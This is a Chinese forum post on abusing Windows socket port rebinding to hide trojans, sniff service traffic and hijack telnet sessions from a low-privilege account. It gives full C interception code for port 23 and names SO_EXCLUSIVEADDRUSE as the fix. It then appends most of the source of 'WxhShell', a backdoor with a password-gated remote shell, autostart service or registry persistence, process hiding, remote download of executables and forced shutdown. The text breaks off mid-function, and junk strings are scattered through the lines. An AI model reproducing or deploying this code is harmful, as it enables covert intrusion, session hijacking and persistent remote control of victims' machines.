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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .wt>.mUH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9>} (]T  
!Ed<xG/  
  saddr.sin_family = AF_INET; *cb D&R\  
(<AM+|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c=jTs+h'  
*n$m;yI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nFf\tf%8  
Sf.8Ibw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T{v<  
9 up* g  
  这意味着什么?意味着可以进行如下的攻击: eF gb6dSh  
0YsN82IDD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Xoa <r9  
x"h)"Y[c5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :a^,Ei-&  
I _Mqh4];  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0 6G[^  
6{F S /+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w$<fSe7  
?6.KS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u0 'pR# m|  
.-1{,o/&Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !MG>z\:  
 8t^;O!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +'YSpJ  
ZCOuv6V+  
  #include *|.yX%"k  
  #include Ow&'sR'CX  
  #include e4NX\tCpw  
  #include    {KQ-Ce-6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dM@k(9|  
  int main() yU&g|MV_  
  { szM=U$jKq  
  WORD wVersionRequested; U mx  
  DWORD ret; Ms$7E  
  WSADATA wsaData; N%M>,wT  
  BOOL val; lG^mW \ O  
  SOCKADDR_IN saddr; L-X _b3E\  
  SOCKADDR_IN scaddr; #D*J5k>2  
  int err; *7D$;?"  
  SOCKET s; uvK%d\d  
  SOCKET sc; ]P ?#lO6  
  int caddsize; {u[K ^G  
  HANDLE mt; \5L4*  
  DWORD tid;   %;\2QI`R  
  wVersionRequested = MAKEWORD( 2, 2 );  M$-(4 0  
  err = WSAStartup( wVersionRequested, &wsaData ); ~ @"Qm;} "  
  if ( err != 0 ) { gCBZA;/  
  printf("error!WSAStartup failed!\n"); Uc%`? +Q  
  return -1; iRr& 'k  
  } M6>\R$  
  saddr.sin_family = AF_INET; /-<m(72wF  
   n*8RYm)?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Dm`U|<o  
%w|3:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]V]@Zna@g  
  saddr.sin_port = htons(23); ~6kA<(x   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pQm!Bt L  
  { ]C:Ifh~  
  printf("error!socket failed!\n"); %cjGeS6}  
  return -1; KL_}:O68  
  } /n3&e  
  val = TRUE; 0o'ML""j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jtk.v49Ad>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f`";Q/rG  
  { +`vZg^_c`  
  printf("error!setsockopt failed!\n"); e^fKatI1  
  return -1; h,jAtL!  
  } v(nQd6;T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -H]f@|AOw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LyPBFo[?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?Dp^dR  
s$y#Ufz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /v ;Kb|e  
  { a0W\?  
  ret=GetLastError(); arH\QPaka'  
  printf("error!bind failed!\n"); J,M5<s[Xqt  
  return -1; oP`M\KXau  
  } o%JIJ7M  
  listen(s,2); (w:ACJ[[  
  while(1) F>-@LOqHy  
  { s\1_-D5]Z  
  caddsize = sizeof(scaddr); .nY6[2am  
  //接受连接请求 g4qdm{BL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HkB<RsS$p_  
  if(sc!=INVALID_SOCKET) C- Rie[  
  {  YaZ "&i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &-)Y[#\J  
  if(mt==NULL) r0uXMr=Z96  
  { f?I *`~k  
  printf("Thread Creat Failed!\n"); . t%Vx  
  break; ^{+:w:g  
  } ~ai' M#  
  } HaN _}UMP  
  CloseHandle(mt); I\6<)2j/L  
  } DT]p14@t9  
  closesocket(s); :mHtK)z~  
  WSACleanup(); S7>gNE;%]u  
  return 0; [k{iN1n  
  }   Q>c6ouuJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) ->9xw  
  { Nn7@+g)  
  SOCKET ss = (SOCKET)lpParam; x{o5Ha{  
  SOCKET sc; b1^Yxe#L  
  unsigned char buf[4096]; ^ nZ2p$  
  SOCKADDR_IN saddr; ~TR|Pv  
  long num; {hP&P  
  DWORD val; U jzz`!mz  
  DWORD ret; ]BBgU[O) !  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /%w[q:..h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AFJY!ou~6  
  saddr.sin_family = AF_INET; Yf`.Cq_:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "fJ|DE&@<i  
  saddr.sin_port = htons(23); 'n#S6.Y:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0lh6b3tdP  
  { wz)9/bL  
  printf("error!socket failed!\n"); X[Gk!d r#  
  return -1; la7QN QW  
  } ryLNMh  
  val = 100; Ou,_l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9yAu<a  
  { 1Sk6[h'CL  
  ret = GetLastError(); |Cq J2  
  return -1; L umD.3<  
  } ?Gw89r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <&Xq`i/(  
  { ~o5iCt;w  
  ret = GetLastError(); Dx)XC?'xO  
  return -1; 'Rw] C[  
  } m6<0 hP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZU'^%)6~o~  
  { fOervo  
  printf("error!socket connect failed!\n"); K 8c#/o  
  closesocket(sc); ,X6j$YLWp  
  closesocket(ss); x^skoz  
  return -1; oF^hq-xcP  
  } ,lM2BXz%  
  while(1) cBf{R^>Fd  
  { ^C| 9K>M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _oVA0@#n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?{")Wt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =@  
  num = recv(ss,buf,4096,0); (.+n1)L?  
  if(num>0) YcZ4y@6"  
  send(sc,buf,num,0); MX\-)e#  
  else if(num==0) W/Q%%)J  
  break; Ls*=mh~IY  
  num = recv(sc,buf,4096,0); 2=+ ,jX{  
  if(num>0) EIm\!'R]  
  send(ss,buf,num,0); R?SHXJ%'  
  else if(num==0) cLP @0`^H  
  break; %n,bPa>T  
  } 1 R9/AP  
  closesocket(ss); 1=.kH[R  
  closesocket(sc); !WnI`  
  return 0 ; ji=po;g=E  
  } z59J=?|  
~-i?=  
*4y r7~S5  
========================================================== }dl(9H=4  
RL9BB.  
下边附上一个代码,,WXhSHELL !,"G/}'^;  
axOy~%%c  
========================================================== ir#^5e @  
vn0*KIrX  
#include "stdafx.h" z(eAwmuli  
e84TL U?~  
#include <stdio.h> hDsORh!i  
#include <string.h> WQL`;uIX  
#include <windows.h> WE]^w3n9  
#include <winsock2.h> c Zr4  
#include <winsvc.h> "Fiv ]^  
#include <urlmon.h> SiT &p  
i[#Tn52D  
#pragma comment (lib, "Ws2_32.lib") pC8i &_A  
#pragma comment (lib, "urlmon.lib") )_?$B6hf,&  
D IN PAyY  
#define MAX_USER   100 // 最大客户端连接数 c qp#1oM4M  
#define BUF_SOCK   200 // sock buffer yqwr0yDAl  
#define KEY_BUFF   255 // 输入 buffer zPYa@0I  
k#n=mm'N9  
#define REBOOT     0   // 重启 A?zW!'  
#define SHUTDOWN   1   // 关机 dz 2d`=`3  
FoQk  
#define DEF_PORT   5000 // 监听端口 lR!$+atW  
*Rd&4XG  
#define REG_LEN     16   // 注册表键长度 ,L G&sa"  
#define SVC_LEN     80   // NT服务名长度 swrd  
M-gjS6c\3  
// 从dll定义API 8>9+w/DL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gK CIfxM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %Z4=3?5B"9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rge/jE,^~Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?Dm&A$r  
(Q+3aEUE  
// wxhshell配置信息 :83" t-O8[  
struct WSCFG { rpmDr7G  
  int ws_port;         // 监听端口 e)kf;Hkf  
  char ws_passstr[REG_LEN]; // 口令 .w~USJ=X  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9':$!Eoq  
  char ws_regname[REG_LEN]; // 注册表键名 f]}F_]  
  char ws_svcname[REG_LEN]; // 服务名 3[rB:cE/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [6|vx},N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NL 37Y{b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `upNP/,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k s}o9[D3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 51vK>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :y)'qv[  
FcA0 \`0M  
}; p* @L1  
i`~y %y  
// default Wxhshell configuration J"y@n ~*0  
struct WSCFG wscfg={DEF_PORT, bBX~ZWw  
    "xuhuanlingzhe", jVz1`\Nje  
    1, '<Gqu_-  
    "Wxhshell", @j6D#./7j  
    "Wxhshell", ~a$% a  
            "WxhShell Service", _,^sI%  
    "Wrsky Windows CmdShell Service", QVpZA,  
    "Please Input Your Password: ", ]Gr'Bt/  
  1, _$0Ix6y,  
  "http://www.wrsky.com/wxhshell.exe", t>xV]W<  
  "Wxhshell.exe" iYf4 /1IG,  
    }; FyEl@ }W  
C6n4OU  
// 消息定义模块 SxDE3A-:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;Yj}9[p;T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d,77L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9M<? *8)  
char *msg_ws_ext="\n\rExit."; VsC]z, oV  
char *msg_ws_end="\n\rQuit."; <Yc:,CU  
char *msg_ws_boot="\n\rReboot..."; zP9 !fA  
char *msg_ws_poff="\n\rShutdown..."; X$* 'D)  
char *msg_ws_down="\n\rSave to "; }/VHeHd  
v09f#t$;5  
char *msg_ws_err="\n\rErr!"; oZ}e w!V  
char *msg_ws_ok="\n\rOK!"; g:Dg?_o  
X'c5s~9  
char ExeFile[MAX_PATH]; luMNi^FQ  
int nUser = 0; CbZ1<r" /  
HANDLE handles[MAX_USER]; )~`zjVx_  
int OsIsNt; jnTl%aQYc  
NQAnvX;  
SERVICE_STATUS       serviceStatus; sCUPa-cHF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gJ])A7O  
MPt7 /  
// 函数声明 p,Z6/e[SI  
int Install(void); bY>Ug{O;  
int Uninstall(void); S;])Nt'X'  
int DownloadFile(char *sURL, SOCKET wsh); !o@-kl  
int Boot(int flag); t]x HM  
void HideProc(void); EVf'1^f  
int GetOsVer(void); ciTQH (G  
int Wxhshell(SOCKET wsl); k=@Q#=;*[W  
void TalkWithClient(void *cs); C$bK!]a  
int CmdShell(SOCKET sock); (\}IOCNS  
int StartFromService(void); [Ue>KG62=  
int StartWxhshell(LPSTR lpCmdLine); 4Qd g t*  
^tah4QmUA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zE[c$KPP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N(9'U0z  
k2=uP8  
// 数据结构和表定义 mT.F$Y9  
SERVICE_TABLE_ENTRY DispatchTable[] = L,WK L.  
{ =4zsAa  
{wscfg.ws_svcname, NTServiceMain}, HiC\U%We  
{NULL, NULL} ,'!&Z *  
}; `# R$  
r#XDgZtI  
// 自我安装 & zG=  
int Install(void) ;[xDc>&("Q  
{ 8.,PgS  
  char svExeFile[MAX_PATH]; SBEJ@&iB~  
  HKEY key; BjH(E'K[b  
  strcpy(svExeFile,ExeFile);  en   
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// 如果是win9x系统,修改注册表设为自启动 H.9J}k1S  
if(!OsIsNt) { bfJDF(=h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZD,l 2DQ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8[DD=[&  
  RegCloseKey(key); 4MM#\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dihk8qJ/6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j<!$ug9VA  
  RegCloseKey(key); 982$d<0%  
  return 0; 4nY2v['m0  
    } GB+G1w  
  } ~ e"^-x  
} h*d,AJz &.  
else { yR`-rJb V  
(~P&$$qfD  
// 如果是NT以上系统,安装为系统服务 WDZEnauE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Ybm27Dk  
if (schSCManager!=0) F kWJB>  
{ ^I0SfZ'Y  
  SC_HANDLE schService = CreateService {<GsM  
  ( 65AOFH  
  schSCManager, gs!{'=4wT  
  wscfg.ws_svcname, EU+sTe>  
  wscfg.ws_svcdisp, v}!,4,]:&  
  SERVICE_ALL_ACCESS, cq0jM;@d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]8mBFr5E9  
  SERVICE_AUTO_START, %:??QD*  
  SERVICE_ERROR_NORMAL, ENGw <  
  svExeFile, &~k/G  
  NULL, V=YK3){>A  
  NULL, PY^Yx$t9  
  NULL, ?FA:K0H?zl  
  NULL, %B~`bUHjq  
  NULL  oCduY2  
  ); 34oC285yc  
  if (schService!=0) oreS u;`$  
  { cZwQ{9>  
  CloseServiceHandle(schService); D^A_0@  
  CloseServiceHandle(schSCManager); %|;^[^7+}t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WaH TzIa[  
  strcat(svExeFile,wscfg.ws_svcname); i{`>!)U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8^^al!0K~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4yknX% [  
  RegCloseKey(key); Z?GC+hG`  
  return 0; 'C[gcp  
    } rGN-jb)T+  
  } nBNZ@nD  
  CloseServiceHandle(schSCManager); BjB2YO& /  
} ;w1h)  
} @<};Bo'  
[iDa6mcth  
return 1; iBZ+gsSP  
} &o?pZ(\C  
kh`X92~  
// 自我卸载 5Zq- |"|  
int Uninstall(void) Me8d o; G|  
{ F`-? 3]\3  
  HKEY key; t'z] <7  
%TLAn[LW(  
if(!OsIsNt) { t >8t|t+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bk8IGhO|m!  
  RegDeleteValue(key,wscfg.ws_regname); D.HAp+lx  
  RegCloseKey(key); >6aCBS?2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9/nL3U@i1  
  RegDeleteValue(key,wscfg.ws_regname); P[Qr[74 )  
  RegCloseKey(key); 9 Iw+g]`y*  
  return 0; :!3P4?a  
  } 0[PP -]JS  
} 9_HEImk  
} 7ed*dXY*  
else { =B; )h  
M HgS5b2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >`6^1j(3  
if (schSCManager!=0)  1 ft. ZJ  
{ 5Wn6a$^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i G<|3I  
  if (schService!=0) js>6Du  
  { d 5Il0sG  
  if(DeleteService(schService)!=0) { ?"L>jr(  
  CloseServiceHandle(schService); 9 /9,[A  
  CloseServiceHandle(schSCManager); Tp9LBF  
  return 0; B[k"xs  
  } @]OI(B  
  CloseServiceHandle(schService); {t9U]hX%A[  
  } )Dv"seH.  
  CloseServiceHandle(schSCManager); 6/GhQ/T%D  
} QJ$]~)w?H  
} MY0Wr%@#0  
KYlWV<sR  
return 1; 5uu{f&?u)  
} +8~S28"Wg3  
cW MZw|t  
// 从指定url下载文件 )>=`[$D1t  
int DownloadFile(char *sURL, SOCKET wsh) ~ 9'64  
{ UH[ YH;3O  
  HRESULT hr; <q_H 3|  
char seps[]= "/"; (=p}b:Z  
char *token; * yt/ Dj  
char *file; I{M2nQi  
char myURL[MAX_PATH]; \0b ",|"3  
char myFILE[MAX_PATH]; eNXpRvY  
5xRh'Jkyb  
strcpy(myURL,sURL); wl! 'Bck=  
  token=strtok(myURL,seps); D-[0^  
  while(token!=NULL) Tvk=NJ  
  { X-t4irZ)  
    file=token; #BM *40tch  
  token=strtok(NULL,seps); bf}r8$,  
  } 'dBzv>ngD  
Ad]r )d{  
GetCurrentDirectory(MAX_PATH,myFILE); 0}aJCJ9sx=  
strcat(myFILE, "\\"); IPJs$PtKok  
strcat(myFILE, file); 0V1kZ.  
  send(wsh,myFILE,strlen(myFILE),0); o]jo R3  
send(wsh,"...",3,0); ~L?p/3m   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *aTM3k)Zs  
  if(hr==S_OK) ~>{<r{H"S  
return 0; 60hf)er  
else ]H.+=V;1  
return 1; 8l?]UFM>C  
b#$:XS  
} 4$_8#w B1&  
'o5[ :=K  
// 系统电源模块 u D . 0?*_  
int Boot(int flag) IMVoNKW-  
{ ^\x PF5  
  HANDLE hToken; C8(sH@  
  TOKEN_PRIVILEGES tkp; V @8X .R>  
lMP|$C  
  if(OsIsNt) { uZ OUp8QQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pKp#4Js  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L!{^^7  
    tkp.PrivilegeCount = 1; %S@XY3jZY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HI:E&20y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sX@e1*YE_  
if(flag==REBOOT) { dLjT^ 9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _I@dt6oF  
  return 0; 76c}Rk^  
} S~m* t i(  
else { s2v\R~T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,kLeK{   
  return 0; %zY3,4~  
} ]Q^oc  
  } GTLlQy)'=  
  else { `7'(U)x,F  
if(flag==REBOOT) { L@v0C)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gew0Y#/  
  return 0; #&DJ3(T  
} ,$CZ (GQ  
else { 3aW4Gs<g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #He:p$43  
  return 0; \*_qP*vq@  
} sba0Q[IY  
} VeCpz[r  
heRQ|n.Dz)  
return 1; &(wik#S  
}  vlE#z  
$|A vT;4  
// win9x进程隐藏模块 O:D`6U+0  
void HideProc(void) ULsz<Hj  
{ ~PS%^zxyn  
Oi7:J> [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M8 ++JI  
  if ( hKernel != NULL ) igz&7U8gg  
  { r Cmqq/hZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .o fYFK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z^#7&Pv0  
    FreeLibrary(hKernel); 6~D:O?2  
  } C10A$=!  
\7W {/v4^  
return; na%9E8;:&v  
} pW!]  
x37r{$2  
// 获取操作系统版本 '\ 6.GP  
int GetOsVer(void) /GCSC8T  
{ Qa"R?dfr  
  OSVERSIONINFO winfo; pQW^lqwZ:6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hu6)GOZbv  
  GetVersionEx(&winfo); |[xi"E\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MJ>(HJY6?%  
  return 1; -7\RO%U  
  else g2F~0%HY  
  return 0; XjL( V1  
} #bf^Pq'8  
=(v/pLLK?  
// 客户端句柄模块 -Xx,"[sN\w  
int Wxhshell(SOCKET wsl) yKq;EcVx  
{ $^`hu%s,~  
  SOCKET wsh; #Etz}:%W  
  struct sockaddr_in client; c[ =9Z;|  
  DWORD myID; +}z T][9w  
~l.]3wyk  
  while(nUser<MAX_USER) 9/^4W.  
{ Ip?Ueaei  
  int nSize=sizeof(client); <o p !dS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o1YhYA  
  if(wsh==INVALID_SOCKET) return 1; w=O:|Xu#*  
MQp1j:CK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mnG\UK,k  
if(handles[nUser]==0) RkC?(p  
  closesocket(wsh); aiUn bP  
else `\#Q r|GC  
  nUser++; u;y1leG  
  } ijC;"j/(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OB5{EILej  
 M3u[E  
  return 0; 0(0Ep(Vj  
} bQ_i&t\yzB  
Fa@#nY|UV3  
// 关闭 socket &a1agi7M  
void CloseIt(SOCKET wsh) A@&+!sO  
{ +Hv%m8'0|  
closesocket(wsh); IzkZ^;(N  
nUser--; OB5(4TY  
ExitThread(0); Cf8(J k`v|  
} YW>|gE  
4dl?US[-  
// 客户端请求句柄 J6\<>5 A?  
void TalkWithClient(void *cs) B>-Iv _  
{ } %rF}>$A  
7Nx@eoZ  
  SOCKET wsh=(SOCKET)cs; jhK&Z7;  
  char pwd[SVC_LEN]; ^Fy) oWS  
  char cmd[KEY_BUFF]; Tf*X\{"  
char chr[1]; )HR'FlxOd  
int i,j; t+p-,ey^@  
0d.lF:  
  while (nUser < MAX_USER) { Cl i k  
'[:].?M  
if(wscfg.ws_passstr) { pHKj*Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Z"7^ i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k' pu%nWN  
  //ZeroMemory(pwd,KEY_BUFF); h&.9Q{D  
      i=0; vk.Y2 :  
  while(i<SVC_LEN) { #P18vK5  
=yfr{5}R  
  // 设置超时 7zpwP  
  fd_set FdRead; 0+M1,?+GfF  
  struct timeval TimeOut; EGU? 54  
  FD_ZERO(&FdRead); V?5QpBK I  
  FD_SET(wsh,&FdRead); gXs@FhR0  
  TimeOut.tv_sec=8; u=k\]W-  
  TimeOut.tv_usec=0; ENjrv   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d.2   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o y}(  
7{/qQGL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z A7u66  
  pwd=chr[0]; R4p bi=  
  if(chr[0]==0xd || chr[0]==0xa) { Zo'lvOpyZ  
  pwd=0; G74<sD  
  break; fM \T^X  
  } WY0u9M4  
  i++; =ww8,z4X  
    } Ab8~'<F$B  
G }TT-  
  // 如果是非法用户,关闭 socket .r[J} O"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  LlnIn{C  
} i8u9~F   
G8 f7N; D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rTW1'@E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ZDJs`h!`  
I3s'44  
while(1) { i1C]bUXA  
I-&/]<5y  
  ZeroMemory(cmd,KEY_BUFF); Lp1wA*  
RhX 2qsva-  
      // 自动支持客户端 telnet标准   TDy@Y> )  
  j=0; dax|4R  
  while(j<KEY_BUFF) { k $3.FO"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RSzp-sKB  
  cmd[j]=chr[0]; E8#y9q  
  if(chr[0]==0xa || chr[0]==0xd) { j3sUZg|d  
  cmd[j]=0; q>!T*BQ  
  break; m <aMb  
  } 7s>d/F3*  
  j++; Ay"x<JB{U2  
    } Q]a5]:0  
z[ IG+2  
  // 下载文件 K ,+`td#  
  if(strstr(cmd,"http://")) { .oAg (@^6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &=@ R,  
  if(DownloadFile(cmd,wsh)) (#\3XBG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5j,)}AYO  
  else .J&~u0g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ",Ek| z  
  }  //K]zu  
  else { !Z<Z"R/  
{%b>/r  
    switch(cmd[0]) { umI#P,%[  
  QO%>RG  
  // 帮助 y#YCc{K [  
  case '?': { vTU"c>]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oPm1`x  
    break; lT1*e(I  
  } I{B8'n{cN  
  // 安装 klv^310  
  case 'i': { Scxf5x-  
    if(Install()) Y2<Z"D`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bZ )3{  
    else )u3<lpoTy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ww+XE2,  
    break; bZERh:%o  
    } PN+,M50;1  
  // 卸载 nLdI>c9R  
  case 'r': { yd#4b`8U`  
    if(Uninstall()) i&Xr+Zsec"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - uliND  
    else h`&mW w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]V><gZ  
    break; M /Bn^A8@  
    } _aa3Qw x  
  // 显示 wxhshell 所在路径 !i#;P9K  
  case 'p': { :%!=Ej.J  
    char svExeFile[MAX_PATH]; )k0bP1oGS  
    strcpy(svExeFile,"\n\r"); /HI#8  
      strcat(svExeFile,ExeFile); SYa!IL-B  
        send(wsh,svExeFile,strlen(svExeFile),0); 2R:['QT  
    break; _EjS(.e/=  
    } /`:5#O  
  // 重启 O:p~L`o>>  
  case 'b': { AkT_ZU>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cg$7`/U  
    if(Boot(REBOOT)) #HM0s~^w&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [u,B8DX  
    else { B7N?"'$i  
    closesocket(wsh); EDL<J1%  
    ExitThread(0); N@;6/[8  
    } r|?2@VE  
    break; [eG- &u  
    } > YN<~z-  
  // 关机 Tet,mzVuu  
  case 'd': { YNk?1#k?i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?Za1  b  
